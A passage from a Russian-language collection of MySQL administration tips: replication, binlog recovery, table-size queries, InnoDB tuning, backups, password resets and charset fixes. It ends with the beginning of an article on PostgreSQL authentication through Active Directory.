          mysql -Be ' SET GLOBAL SQL_SLAVE_SKIP_COUNTER = 1; start slave;'
       fi; 
       sleep 1
    done
    
    
    Для быстрой и полной синхронизации небольшой таблицы:
    (http://www.mysqlperformanceblog.com/2008/06/29/resyncing-table-on-mysql-slave/)
    
       LOCK TABLE tbl WRITE;
       SELECT * FROM table INTO OUTFILE '/tmp/tbl.txt';
       DELETE FROM tbl;
       LOAD DATA INFILE 'tmp/tbl.txt' INTO TABLE tbl;
       UNLOCK TABLES; 
    
    Другой вариант:
    
       RENAME TABLE rep TO rep_maint;
       SELECT * FROM rep_maint INTO OUTFILE '/tmp/rep.txt';
       CREATE TABLE rep_new LIKE rep_maint;
       LOAD DATA INFILE '/tmp/rep.txt' INTO TABLE rep_new;
       RENAME TABLE rep_maint TO rep_old, rep_new TO rep;
    
     
    ----* Восстановление данных с поврежденной или случайно удаленной MySQL таблицы (доп. ссылка 1) (доп. ссылка 2)   [обсудить]
     
    Для восстановления случайно удаленной таблицы можно использовать для резервного копирования пакет 
    Zmanda Recovery Manager (http://mysqlbackup.zmanda.com/), имеющий поддержку восстановления 
    недостающей в бэкапе информации из бинарного лога изменений (MySQL binary log).
    Ведение лога транзакций включается в секции "[mysqld]" файла конфигурации:
    
       log-bin = /var/log/mysql/bin.log
    
    Определяем время удаления (DROP TABLE):
       mysql-zrm --action parse-binlogs --source-directory=/var/lib/mysql /sugarcrm/20060915101613
          /var/lib/mysql/my-bin.000015 | 11013        | 06-09-12 06:20:03 | Xid = 4413 | COMMIT;
          /var/lib/mysql/my-bin.000015 | 11159        | 06-09-12 06:20:03 | Query      | DROP TABLE IF EXISTS `accounts`;
    
    Имея инкрементальный бэкап binary log от 15 сентября, восстанавливаем из него
    данные, пропуская удаление таблицы:
    
       # mysql-zrm --action restore  --backup-set sugarcrm \
          --source-directory=/var/lib/mysql/ sugarcrm/20060915101613/ \
          --stop-position 11014
       # mysql-zrm --action restore   --backup-set sugarcrm \
          --source-directory=/var/lib/mysql/ sugarcrm/20060915101613/ \
          --start-position 11160
    
    Для получения данных из binary log также можно использовать стандартную программу mysqlbinlog.
    Предположим, что у нас есть бэкап от 5 мая.
    Переводим сервер в изолированный режим работы:
    
       mysqld --socket=/tmp/mysql_restore.sock --skip-networking
    
    Восстанавливаем данные из бэкапа:
    
       cat /backup/20080505.sql | mysql --socket=/tmp/mysql_restore.sock
    
    Делаем дамп данных из бинарного лога:
    
       mysqlbinlog /var/log/mysql/bin.123456 > /tmp/mysql_restore.sql
    
    Можно использовать выборку по дате или номеру позиции:
    
       mysqlbinlog --stop-date="2008-05-06 9:59:59" --start-date="2008-05-05 10:01:00" \
          /var/log/mysql/bin.123456  > /tmp/mysql_restore.sql
     mysqlbinlog  --stop-position="5647324" --start-position="5634521" \
          /var/log/mysql/bin.123456  > /tmp/mysql_restore.sql
    
    Вручную удаляем лишнее и загружаем недостающие данные:
    
       cat /tmp/mysql_restore.sql| mysql --socket=/tmp/mysql_restore.sock
    
     
    ----* Как проверить корректность изменений в файле конфигурации MySQL (доп. ссылка 1)   Автор: mysqlperformanceblog  [комментарии]
     
    Иногда возникают ситуации требующие предварительной проверки корректности 
    файла конфигурации MySQL, что-то похожее на "configtest" в apache.
    
    Анализ файла конфигурации на наличие синтаксических ошибок производится при выполнении
       mysqld --help
    
     
    ----* Вычисление размера таблиц MySQL (доп. ссылка 1) (доп. ссылка 2)   Автор: mysqlperformanceblog.com  [комментарии]
     
    Запрос для расчета размера таблиц начиная с MySQL 5.0:
    
    use information_schema;
    SELECT concat(table_schema,'.',table_name),concat(round(table_rows/1000000,2),'M') rows,
    concat(round(data_length/(1024*1024*1024),2),'G') DATA,
    concat(round(index_length/(1024*1024*1024),2),'G') idx,
    concat(round((data_length+index_length)/(1024*1024*1024),2),'G') total_size,
    round(index_length/data_length,2) idxfrac 
    FROM TABLES ORDER BY data_length+index_length DESC LIMIT 10;
    
    
    | concat(table_schema,'.',table_name) | rows   | DATA   | idx    | total_size | idxfrac |
    | art87.link_out87                    | 37.25M | 14.83G | 14.17G | 29.00G     |    0.96 |
    #
    | art87.article87                     | 12.67M | 15.83G | 4.79G  | 20.62G     |    0.30 |
    
    
    Определение числа таблиц, суммарного размера строк, данных и индексов:
    
      SELECT count(*) TABLES,
           concat(round(sum(table_rows)/1000000,2),'M') rows,
           concat(round(sum(data_length)/(1024*1024*1024),2),'G') DATA,
           concat(round(sum(index_length)/(1024*1024*1024),2),'G') idx,
           concat(round(sum(data_length+index_length)/(1024*1024*1024),2),'G') total_size,
           round(sum(index_length)/sum(data_length),2) idxfrac
           FROM information_schema.TABLES;
    
       | TABLES| rows        | DATA    | idx        | total_size | idxfrac |
       |   1538 | 1623.91M | 314.00G | 36.86G | 350.85G    |    0.12  |
    
    
    После "FROM information_schema.TABLES" можно добавить дополнительный фильтр, 
    например вывести информацию только для таблиц performance_log:
    
       ... WHERE  table_name LIKE "%performance_log%";
    
    Определение самых больших таблиц в БД:
    
       SELECT
            count(*) TABLES,
            table_schema,concat(round(sum(table_rows)/1000000,2),'M') rows,
            concat(round(sum(data_length)/(1024*1024*1024),2),'G') DATA,
            concat(round(sum(index_length)/(1024*1024*1024),2),'G') idx,
            concat(round(sum(data_length+index_length)/(1024*1024*1024),2),'G') total_size,
            round(sum(index_length)/sum(data_length),2) idxfrac
            FROM information_schema.TABLES
            GROUP BY table_schema
            ORDER BY sum(data_length+index_length) DESC LIMIT 10;
    
       |TABLES| table_schema | rows  | DATA  | idx   | total_size | idxfrac |
       |     48  | cacti               | 0.01M | 0.00G | 0.00G | 0.00G      |    0.72 |
       |     17  | mysql              | 0.00M | 0.00G | 0.00G | 0.00G      |    0.18 |
    
    
    Объем данных в разрезе типа хранилища:
    
       SELECT engine,
            count(*) TABLES,
            concat(round(sum(table_rows)/1000000,2),'M') rows,
            concat(round(sum(data_length)/(1024*1024*1024),2),'G') DATA,
            concat(round(sum(index_length)/(1024*1024*1024),2),'G') idx,
            concat(round(sum(data_length+index_length)/(1024*1024*1024),2),'G') total_size,
           round(sum(index_length)/sum(data_length),2) idxfrac
           FROM information_schema.TABLES
           GROUP BY engine
           ORDER BY sum(data_length+index_length) DESC LIMIT 10;
    
       | engine      | TABLES | rows     | DATA     | idx       | total_size | idxfrac |
       | MyISAM     |   1243 | 941.06M | 244.09G | 4.37G   | 248.47G  |    0.02 |
       | InnoDB      |    280  | 682.82M | 63.91G   | 32.49G | 96.40G    |    0.51 |
       | MRG_MyISAM|  1  | 13.66M   | 6.01G     | 0.00G   | 6.01G      |    0.00 |
       | MEMORY   |     14  | 0.00M    | 0.00G     | 0.00G   | 0.00G      |    NULL |
    
     
    ----* Оптимизация MySQL для работы с большой Innodb базой. (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    innodb_buffer_pool_size  - чем больше, тем лучне, например 70-80% от размера ОЗУ, 
       но нет смысла устанавливать значение превышающее размер базы более чем на 10%. 
       По идее нужно экспериментально вычислить сколько требуется памяти для системы, 
       и отдать остальное под буферизацию с небольшим запасом, чтобы не допустить своппинг.
    
    innodb_log_file_size - зависит от требований к скорости восстановления после сбоя,  
       256Мб - хороший баланс между скоростью восстановления и производительностью системы;
    
    innodb_log_buffer_size=4M,  4Мб подходит для большинства ситуаций, 
       за исключением случая работы с большими блоками данных, хранимых в Innodb таблицах;
    
    innodb_flush_logs_at_trx_commit=2 - если не важен ACID и после краха системы 
       допустимо потерять транзакции за последние 1-2 секунды;
    
    innodb_thread_concurrency=8, значение по умолчанию вполне адекватно, 
       можно попробовать уменьшить или увеличить и посмотреть на изменение производительности.
    
    innodb_flush_method=O_DIRECT - исключает двойную буферизацию и уменьшает воздействие 
       на файл подкачки. Но следует соблюдать осторожность, если ваш RAID без аварийной батарейки.
    
    innodb_file_per_table - можно использовать, если число таблиц невелико.
    
    При разработке приложения можно обратить внимание на использование режиме
    READ-COMMITED (transaction-isolation=READ-COMITTED).
    
     
    ----* Бэкап больших MyISAM таблиц без длительной блокировки в MySQL (доп. ссылка 1)   Автор: jabrusli  [комментарии]
     
    mysqldump лочит таблицы на запись и во время дампа база фактически простаивает.
    Решения:
    
    1. Репликация и бэкап со слейва;
    
    2. mysqlhotcopy,  делает "read lock" на и копируются файлы баз, т.е.:
    
        FLUSH TABLES WITH READ LOCK;
        // копировать файлы MyISAM таблиц
        UNLOCK TABLES;
    
    FLUSH TABLES WITH READ LOCK может занять много времени т.к. он будет ждать
    окончания выполнений всех запущенных запросов.
    
    3. Минимизация блокировки через использование снапшотов ФС:
       FLUSH TABLES WITH READ LOCK;
       Делаем снэпшот ФС, где лежат базы мускула
       UNLOCK TABLES;
       Копируем директории с базой или отдельные таблицы
       Отцепляем снэпшот
    
    Скрипт для Linux (использует LVM снапшот): http://lenz.homelinux.org/mylvmbackup/
    Cкрипт для FreeBSD:
       (echo "FLUSH TABLES WITH READ LOCK;"; echo "\! ${MOUNT} -u -o snapshot /${SNAPPART}/.snap/backup /${SNAPPART}"; echo "UNLOCK TABLES;" ) |
        ${MYSQL} --user=root --password=`${CAT} ${MYSQLROOTPW}`
    
     
    ----* Включение лога медленных запросов в MySQL   [обсудить]
     
    в [mysqld] секции my.cnf:
    
    # Минимальное время запроса, которое не будет помещено в лог.
    long_query_time=10 
    # Файл в котором будут отображаться слишком долгие запросы.
    # можно использовать опцию -mysqld -log-slow-queries=file
    log-slow-queries=/var/log/mysqld/slowquery.log
    
    Для ведения полного лога всех запросов, нужно использовать опцию mysqld --log=allquery.log
    
     
    ----* Решение проблем с кодировкой при переносе дампа из mysql 4.1 в 5.0 (доп. ссылка 1)   Автор: Alex Kuklin  [обсудить]
     
    В debian/testing (и наверное не только) mysqld собран с default charset latin1, 
    что приводит к потере данных при загрузке дампов в utf8 независимо от настроек конкретной базы.
    
    Лекарство:
    в разделе [mysqld] в /etc/mysql/my.cnf
    
       character_set_server = utf8
       collation_server = utf8_general_ci
    
    
    Вариант 2:
    Если база данных в utf8 и в дампе с ней нет SET NAMES utf8; делаю так
    
      cat mysql_dump.sql | mysql -u user -p dbname --default-character-set=utf8  
    
     
    ----* Пример настройки master-master репликации в MySQL (доп. ссылка 1)   [комментарии]
     
    Шаг 1. Устанавливаем MySQL на два сервера:
       Master 1/Slave 2 ip: 192.168.16.4
       Master 2/Slave 1 ip : 192.168.16.5 
    
    Шаг 2. Содержимое my.cnf сервера Master 1,  являющегося ведущим по умолчанию:
    
       [mysqld]
       datadir=/var/lib/mysql
       socket=/var/lib/mysql/mysql.sock
       old_passwords=1
    
       log-bin
       binlog-do-db=<database name>  # input the database which should be  replicated
       binlog-ignore-db=mysql            # input the database that should be ignored for replication
       binlog-ignore-db=test
    
       server-id=1
    
       [mysql.server]
       user=mysql
       basedir=/var/lib
    
    
       [mysqld_safe]
       err-log=/var/log/mysqld.log
       pid-file=/var/run/mysqld/mysqld.pid
    
    
    Шаг 3. На сервере Master 1, создаем аккакнт для slave сервера (затем перезапускаем mysql):
    
       mysql> grant replication slave on *.* to 'replication'@192.168.10.5 \
    identified by 'slave';
    
    
    Шаг 4. Содержимое my.cnf сервера Master 2,  являющегося ведомым по умолчанию (slave):
    
       [mysqld]
       datadir=/var/lib/mysql
       socket=/var/lib/mysql/mysql.sock
       old_passwords=1
    
       server-id=2
    
       master-host = 192.168.16.4
       master-user = replication
       master-password = slave
       master-port = 3306
    
       [mysql.server]
       user=mysql
       basedir=/var/lib
    
       [mysqld_safe]
       err-log=/var/log/mysqld.log
       pid-file=/var/run/mysqld/mysqld.pid
    
    
    Шаг 5. Активируем ведомый сервер:
       mysql> start slave;
       mysql> show slave status\G;
    
    В отображенных параметрах поля Slave_IO_Running и  Slave_SQL_Running должны содержать "YES".
    
    
    Шаг 6. На сервере Master 1 проверяем статус бинарного лога:
    
    mysql> show master status;
    +------------------------+----------+--------------+------------------+
    | File                   | Position | Binlog_Do_DB | Binlog_Ignore_DB |
    +------------------------+----------+--------------+------------------+
    |MysqlMYSQL01-bin.000008 |      410 | adam         |                  |
    +------------------------+----------+--------------+------------------+
    1 row in set (0.00 sec)
    
    
    Сценарий master-slave реализован, переходим к настройке master-master.
    
    Шаг 7. На сервере Master2/Slave 1 редактируем my.cnf:
    
        [mysqld]
       datadir=/var/lib/mysql
       socket=/var/lib/mysql/mysql.sock
       # Default to using old password format for compatibility with mysql 3.x
       # clients (those using the mysqlclient10 compatibility package).
       old_passwords=1
       server-id=2
    
       master-host = 192.168.16.4
       master-user = replication
       master-password = slave
       master-port = 3306
    
       log-bin                     #information for becoming master added
       binlog-do-db=adam
    
       [mysql.server]
       user=mysql
       basedir=/var/lib
    
       [mysqld_safe]
       err-log=/var/log/mysqld.log
       pid-file=/var/run/mysqld/mysqld.pid
    
     
    Шаг 8. Создаем slave аккаунт на Master 2 для Master 1:
    
       mysql> grant replication slave on *.* to 'replication'@192.168.16.4 identified by 'slave2';
    
     
    Шаг 9.  Редактируем my.cnf на сервере Master 1, определив, что он является slave для Master 2:
    
       [mysqld]
       datadir=/var/lib/mysql
       socket=/var/lib/mysql/mysql.sock
    
       # Default to using old password format for compatibility with mysql 3.x
       # clients (those using the mysqlclient10 compatibility package).
       old_passwords=1
    
    
       log-bin
       binlog-do-db=adam
       binlog-ignore-db=mysql
       binlog-ignore-db=test
    
       server-id=1
       #information for becoming slave.
       master-host = 192.168.16.5
       master-user = replication
       master-password = slave2
       master-port = 3306
    
       [mysql.server]user=mysqlbasedir=/var/lib 
    
     
    Шаг 10. Перезапускаем оба MySQL сервера. Для Master 1 выполняем
    
       mysql> start slave;
    
    Для Master 2: 
    
       mysql > show master status;
    
    Для Master 1:
    
    mysql> show slave status\G;
    
    В отображенных параметрах поля Slave_IO_Running и  Slave_SQL_Running должны содержать "YES".
    
     
    ----* Техника изменения забытого административного MySQL пароля (доп. ссылка 1)   Автор: Steve  [комментарии]
     
    Останавливаем MySQL:
       /etc/init.d/mysql stop
    
    Запускаем в режиме без проверки прав доступа:
       /usr/bin/mysqld_safe --skip-grant-tables &
    
    Соединяемся как root без пароля:
       mysql --user=root mysql
    
    Обновляем пароль:
       mysql> update user set Password=PASSWORD('новый пароль') WHERE User='root';
       mysql> flush privileges;
    
    Завершаем работу mysqld_safe:
       fg
       "Ctrl+c"
    
    Запускаем MySQL в обычном режиме.
       /etc/init.d/mysql start
    
     
    ----* Автоматизация послеустановочной настройки MySQL   Автор: Alexey Tsvetnov  [комментарии]
     
    #!/bin/sh
    #
    # mysql-after-setup
    # Copyright (c) 2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    # Version: 1.4
    #
    # Run script after install MySQL to do:
    # 1. Drop database 'test'
    # 2. Set MySQL root password
    # 3. Delete all users and access except root@localhost
    #
    
    # tty echo off
    stty -echo
    
    # enter correct password
    while true
    do
        echo -n "Enter password: " && read pass1 && echo
        echo -n "Re-enter password: " && read pass2 && echo
        [ "${pass1}" = "${pass2}" ] && break
        echo " *** Error!"
    done
    
    # tty echo on
    stty echo
    
    echo "drop database test; delete from db where db like '%test%';\
          update user set password=PASSWORD('$pass1') where user='root' and host='localhost';\
          delete from user where password='';\
          flush privileges;" | mysql -h 127.0.0.1 -u root mysql && echo "Done successfuly."
    
    exit 0
    
     
    ----* MySQL - квотирование баз под FreeBSD   Автор: Pahanivo  [комментарии]
     Хитрости квотирования MySQL.

    Каждую базу MySQL хранит в отдельном каталоге внутри datadir. MySQL работает под своим пользователем и соответственно создает файлы баз под им же. Соответственно квотирование в данном случае не возможно. Необходимо заставить его создавать файлы баз, влaдельцем которых будет конкретный квотируемый пользователь. Сделать это можно выставив бит SUID (4000) на каталог базы.

    Для начала:

    
         в ядре:
            options SUIDDIR
    
         в /etc/fstab:
            добавляем в список опций suiddir
    

    В MySQL создаем базу. Находим каталог базы в datadir. По умолчанию он будет mysql:mysql.

    
       Меняем владельца:
         chown sql-user databasedir
         теперь наш каталог sql-user:mysql
      
       Меняем права:  
           chmod 4070 databasedir
    

    Такая настройка заставит систему создавать файлы от имени владельца каталога (sql-user) причем сам пользователь не будет иметь к нему доступа. К нему будет иметь полный доступ MySQL (от группы mysql).

    Теперь мы можем использовать квоты как для обычных файлов. При превышении квот MySQL будет генерить ошибку full disk что является нормальным явлением и корректно отрабатывается MySQL, хотя сопровождается некоторыми проблемами: при запросе на добавление в базу, превысившую квоты, запрос повисает, повисают также последующие запросы, которые можно снять только их убийством или освобождением дополнительного места на диске. При дефолтных настройках это сразу вызовет проблему, так как такие запросы займут все сетевые соединения. Поэтому необходимо ОБЯЗАТЕЛЬНО ограничить максимальное количество подключений одного пользователя MySQL. В /etc/my.cnf:

    
       max_connections  = 500 (всего коннектов)
       max_user_connections = 30 (максимум для одного пользователя)
    

    Также возможно следующие - MySQL может пометить как поврежденные при останове сервера или когда временные файлы займут слишком много места на диске (второе судя по мануалам, не проверял). Лечится репаиром соотвествующих таблиц.

    Убить повисшие процессы может только root базы если они достигли max_user_connections.

    Не работает с таблицами innodb, так последние хранятся в одном месте независимо от базы.

    Коментируйте.

     
    ----* Перенос данных из MySQL 4.0 в 4.1.x через mysqldump от нового MySQL   Автор: Dmitry Molchanov  [комментарии]
     
    Итак, ситуация:
      -  новый db-сервер, с mysql 4.1.7
      -  необходимость проапгрейдить клиентскую библиотеку на тех серверах которые к нему будут обращаться.
      - необходимость миграции данных с других mysql, которые 4.0
      - базы все в cp1251
    
    В качестве эксперимента апгрейдим mysql-client до 4.1.7 на первом db-сервере, 
    где стоит 4.0.20 и отпадание mysql-client'а на, пусть даже час, ни к чему
    фатальному не приведет...
    На первый взгляд все гладко заапгрейдилось.
    
    Вечером апгрейдим Mysql-client где надо, чего надо пересобираем... пока все гладко.
    
    Начинаем миграцию данных, с того сервера где мы обновили Mysql-client в первую очередь.
    
    Маленькая ремарка:  mysql-(client|server) были собраны из портов с
        WITH_LINUXTHREADS=yes 
        BUILD_STATIC=yes 
        BUILD_OPTIMIZED=yes
    , т.е. с чарсетами по-умолчанию
    
      - делаем дамп командой mysqldump --opt database > database.sql
      - копируем дамп на новый сервер 
      - там в /etc/my.cnf уже прописано в [mysqld] default-character-set=cp1251.
      - говорим create database db_name
      - потом \. database.sql
      - дамп разворачивается, но... с матами на дублирование ключа и с вопросиками в место русских буковок.
      - пробуем set names cp1251 и снова развернуть дамп - та же история.
    
    Потом пол-дня пробуем всякие разные комбинации с пересборкой mysql-server и всякими 
    настройками charset/collation, в результате удосуживаемся присмотреться к дампу 
    и увидеть там 'SET NAMES utf8' в самом начале. После замены оного на 'set names cp1251', 
    все встало на свои места.
    
    Этот "set names utf8" появился когда новый mysqldump из mysql-client-4.1.7 взялся дампить 
    базу с cp1251 и, не получив информацию о collation/charset выставил то, что считал разумным - utf8.
    
    Лечится созданием дампа с --skip-set-charset.
    
     
    ----* FreeBSD 5.3 + MySQL на сервере с несколькими CPU   Автор: Z  [комментарии]
     
    Для оптимизации выполнения данной БД на сервере с несколькими процессорами (и hyperthreding) после 
    конфигурирования FreeBSD c SMP рекомендую поставить linuxthreads и собрать MySQL с его поддержкой. 
    
    Вот параметры для MySQL:
    
       env CC=gcc CFLAGS="-O3 -pipe -march=pentiumpro -D__USE_UNIX98 -D_REENTRANT \
          -D_THREAD_SAFE -DHAVE_BROKEN_REALPATH -I/usr/local/include/pthread/linuxthreads " \
          CXX=gcc CXXFLAGS="-O3 -pipe -march=pentiumpro -felide-constructors \
          -D__USE_UNIX98 -D_REENTRANT -D_THREAD_SAFE \
          -DHAVE_BROKEN_REALPATH -I/usr/local/include/pthread/linuxthreads " \
      ./configure \
         --prefix=/usr/local/mysql \
          --with-mysqld-user=dbuser \
          --with-charset=koi8_ukr \
          --with-innodb \
          --with-extra-charsets=none \
          --without-isam \
          --with-mysqld-user=dbuser \
          --enable-assembler \
          --mandir=/usr/local/man \
          --with-mysqld-ldflags=-all-static \
          --with-mit-threads=no \
          --enable-thread-safe-client \
          --disable-shared \
          --without-debug \
          --without-readline \
          --without-bench \
          --without-extra-tools \
          --with-mysqlfs \
          --with-vio \
          --with-named-thread-libs="-DHAVE_GLIBC2_STYLE_GETHOSTBYNAME_R \
         -D_THREAD_SAFE -DHAVE_BROKEN_REALPATH -I/usr/local/include/pthread/linuxthreads \
         -L/usr/local/lib -llthread -llgcc_r -llstdc++ -llsupc++" \
          --with-libwrap 
    
     
    ----* Ограничение пользователей в MySQL (доп. ссылка 1)   [обсудить]
     
    MySQL 3.23.x, /etc/my.cnf, блок " [mysqld]":
    
       set-variable    = max_connections=20 # Максимальное число одновременных коннектов к серверу
       set-variable    = max_user_connections=5 # Макс. число одновременных коннектов от одного пользователя
       set-variable    = connect_timeout=2
    
    Для MySQL 4.x для простых баз имеет смысл использовать опцию  skip-innodb  для
    существенной экономии памяти.
    
        В MySQL 4.x для конкретного пользователя можно установить следующие лимиты:
            GRANT ... WITH MAX_QUERIES_PER_HOUR N1
                                         MAX_UPDATES_PER_HOUR N2
                                         MAX_CONNECTIONS_PER_HOUR N3;
        , где:
         N1 -  Количество всех запросов в час;
         N2  - Количество всех обновлений/изменений в час;
         N3  - Количество соединений, сделанных за час.
    
    Для просмотра содержимого бинарного лога запросов нужно использовать утилиту mysqlbinlog.
    
     
    ----* Как посмотреть список таблиц и их структуру в MySQL   [комментарии]
     
    SHOW DATABASES; - список баз данных
    SHOW TABLES [FROM db_name]; -  список таблиц в базе 
    SHOW COLUMNS FROM таблица [FROM db_name]; - список столбцов в таблице
    SHOW CREATE TABLE table_name; - показать структуру таблицы в формате "CREATE TABLE"
    SHOW INDEX FROM tbl_name; - список индексов
    SHOW GRANTS FOR user [FROM db_name]; - привилегии для пользователя.
    
    
    SHOW VARIABLES; - значения системных переменных
    SHOW [FULL] PROCESSLIST; - статистика по mysqld процессам
    SHOW STATUS; - общая статистика
    SHOW TABLE STATUS [FROM db_name]; - статистика по всем таблицам в базе
    
     
    ----* Как изменить пароль для пользователя в MySQL   [комментарии]
     
    Свой пароль можно поменять через:
         SET PASSWORD = PASSWORD('пароль')
    
    Пароль определенного пользователя можно поменять через:
         SET PASSWORD FOR логин@localhost = PASSWORD('пароль');
         SET PASSWORD FOR логин@"%" = PASSWORD('пароль');
    
    тоже самое делают:
    
      UPDATE mysql.user SET Password=PASSWORD('пароль') WHERE User='логин' AND Host='localhost';
      FLUSH PRIVILEGES;
    
    или GRANT USAGE ON БД.* TO логин@localhost IDENTIFIED BY 'пароль';
    или mysqladmin -u логин password пароль
    
     
    ----* Как оптимизировать выполнение INSERT запросов в MySQL (доп. ссылка 1)   [обсудить]
     
    Для того чтобы INSERT операции не влияли на производительность SELECT запросов
    используют конструкции:
       "INSERT DELAYED" и "INSERT LOW_PRIORITY" (UPDATE LOW_PRIORITY) 
    Позволяют отложить включение данных до тех пор, пока не завершаться текущие
    операции чтения из базы,
    при том, что если накопилось несколько "DELAYED", то данные будут добавлены одним блоком. 
    При DELAYED управление возвращается сразу, LOW_PRIORITY возвращает управление
    только после завершения записи.
    
    Для увеличения скорости выполнения большого числа INSERT/UPDATE/DELETE 
    рекомендуется группировать несколько операторов в рамках одного лока или транзакции:
       LOCK TABLES table WRITE; (BEGIN;)
       INSERT'ы ...... (но не много, чтобы не столкнуться с deadlock)
       UNLOCK TABLES; (COMMIT;)
    
     
    ----* Как посмотреть статистику работы PostgreSQL и MySQL   [обсудить]
     
    Чем сейчас занимается SQL сервер:
       MySQL: mysqladmin processlist
       PostgreSQL: select * from pg_stat_activity;
                   select * from pg_stat_database;
    Общая статистика по работе сервера:
       MySQL: mysqladmin extended-status; mysqladmin status
       PostgreSQL: select * from pg_stats;
    
     
    ----* Как увеличить производительность выполнения mysqldump (доп. ссылка 1)   [комментарии]
     
    При дампе очень больших таблиц mysqldump пытается использовать очень большой объем ОЗУ.
    Чтобы он этого не делал нужно использовать опцию "-q". 
    
     
    ----* Как определить и исправить повреждение MySQL базы.   [обсудить]
     
    Для тестирования повреждений рекомендуется выполнять:
          myisamchk tables[.MYI]
    Параметры уровня проверки:
        --medium-check - средний
        --extend-check    - расширенный 
    В crontab:
    35 0 * * 0 /usr/local/mysql/bin/myisamchk --fast --silent /path/to/datadir/*/*.MYI
    Внимание, myisamchk нужно запускать при _не_ запущенном mysqld, иначе нужно
    использовать утилиту mysqlcheck
    (mysqlcheck --repair --analyze --optimize --all-databases --auto-repair)
    Восстановление таблицы:
         REPAIR TABLE tbl_name  или  myisamchk -r table_name или   myisamchk --safe-recover table_name
    
     
    ----* Как произвести оптимизацию хранилища в MySQL (аналог vacuum в psql)   [обсудить]
     
    Почистить "дырки" (дефрагментация), обновить статистику и отсортировать индексы:
           OPTIMIZE TABLE имя_таблицы;
    или использовать:   myisamchk --quick --check-only-changed --sort-index --analyze
    Внимание, myisamchk нужно запускать при _не_ запущенном mysqld, иначе нужно
    использовать утилиту mysqlcheck
    (mysqlcheck --repair --analyze --optimize --all-databases --auto-repair)
    Апдейт статистики оптимизатора:
          ANALYZE TABLE имя_таблицы;
    или использовать:   myisamchk --analyze
    Рекомендуется регулярно выполнять:
        isamchk -r --silent --sort-index -O sort_buffer_size=16M db_dir/*.ISM
        myisamchk -r --silent --sort-index  -O sort_buffer_size=16M db_dir/*.MYI
    
     
    ----* Советы по бэкапу данных в MySQL   [комментарии]
     
    Бэкап структуры:
        mysqldump --all --add-drop-table [--all-databases] --force [--no-data] [-c] \
        --password=password --user=user [база]  [таблицы] > backup_file
    ( -c - формировать в виде полных INSERT.
     --all-databases - бэкап всех баз,  --no-data - бэкап только структуры таблиц в базах,  [таблицы]  - бэкапить только указанные таблицы.)
    Восстановление:   mysql < backupfile
    (для прямой вставки из текстового файла можно воспользоваться mysqlimport)
    (для анализа структуры базы, например, списка таблиц: mysqlshow <база>)
    
     
    ----* Как обеспечить корректную работу MySQL с русскими символами при сортировке и выборке данных.   [комментарии]
     
    В /etc/my.cnf вписать в блоке [mysqld]:
       default-character-set=koi8_ru (или cp1251)
    При работе с базой можно выставить рабочую кодировку через:
       SET CHARACTER SET koi8_ru
    
     
    ----* Как добавить нового пользователя или БД в MySQL   [комментарии]
     
    GRANT ALL PRIVILEGES ON БД.* TO пользователь@localhost IDENTIFIED BY 'пароль';
    GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP PRIVILEGES ON БД.таблица TO
    пользователь@'%.domain.ru' IDENTIFIED BY 'пароль';
    
    или
    
    insert into user (host,user,password) values ('localhost', 'пользователь', password('пароль'));
    insert into db
    (Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,
    Drop_priv,Grant_priv,References_priv,Index_priv,Alter_priv) 
    values ('localhost','БД','пользователь','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y'); 
    flush privileges;
    
    или воспользоваться скриптом mysql_setpermission
    
     
    ----* Как изменить забытый MySQL административный пароль   [обсудить]
     
    1. перезапустить mysqld с опцией --skip-grant-tables
    2. mysqladmin -h хост -u пользователь password 'новый пароль'
    
     

       PostgreSQL специфика
    PlPerl и PlSQL
    Оптимизация и администрирование PostgreSQL

    ----* Настройка СУБД Postgresql для аутентификации пользователей через Active Directory   Автор: Slonik  [комментарии]
     
    В статье расскажу про мой опыт настройки СУБД Postgresql для включения
    аутентификации пользователей через Active Directory с помощью протокола GSSAPI.
    
    Предполагается, что домен Active Directory и БД Postgresql уже развёрнуты.
    
    Для примера у меня развёрнут тестовый стенд со следующими параметрами:
    
    
  • Сервер с Active Directory: Windows Server 2022
  • Функциональный уровень домена: Windows Server 2016
  • Имя домена: domain.test
  • Контроллер домена: dc.domain.test
  • Клиентский компьютер с Windows 11, присоединённый к домену
  • Сервер с БД Postgresql 13 на Debian 11
  • DNS имя сервера СУБД: pg-host.domain.test Установка пакетов на сервере СУБД Для систем на базе Debian: root# apt install krb5-user postgresql Настройка Kerberos на сервере СУБД В файле /etc/krb5.conf на сервере с СУБД Postgresql добавляем описание для области Kerberos домена Windows: [libdefaults] default_realm = DOMAIN.TEST ... [realms] DOMAIN.TEST = { kdc = dc.domain.test admin_server = dc.domain.test } Проверяем, что можем получить билет: user@pg-host:~$ kinit Administrator@DOMAIN.TEST Смотрим список полученных билетов на сервере с БД: user@pg-host:~$ klist Ticket cache: FILE:/tmp/krb5cc_0 Default principal: Administrator@DOMAIN.TEST Valid starting Expires Service principal 23.07.2022 20:55:44 24.07.2022 06:55:44 krbtgt/DOMAIN.TEST@DOMAIN.TEST renew until 24.07.2022 20:55:38 Настройка описания имени службы в Active Directory Настройка пользователя Active Directory Для того, чтобы пользователи могли подключаться к СУБД с помощью GSSAPI, в Active Directory должна быть учётная запись с соответствующей записью уникального описания службы в поле Service Principal Name и User Principal Name: servicename/hostname@REALM. Значение имени сервиса servicename по умолчанию postgres и может быть изменено во время сборки Postgresql с помощью параметра with-krb-srvnam ./configure --with-krb-srvnam=whatever
  • hostname - это полное доменное имя сервера, где работает СУБД (pg-host.domain.test) оно должно быть зарегистрировано в DNS сервере, который использует Active Directory.
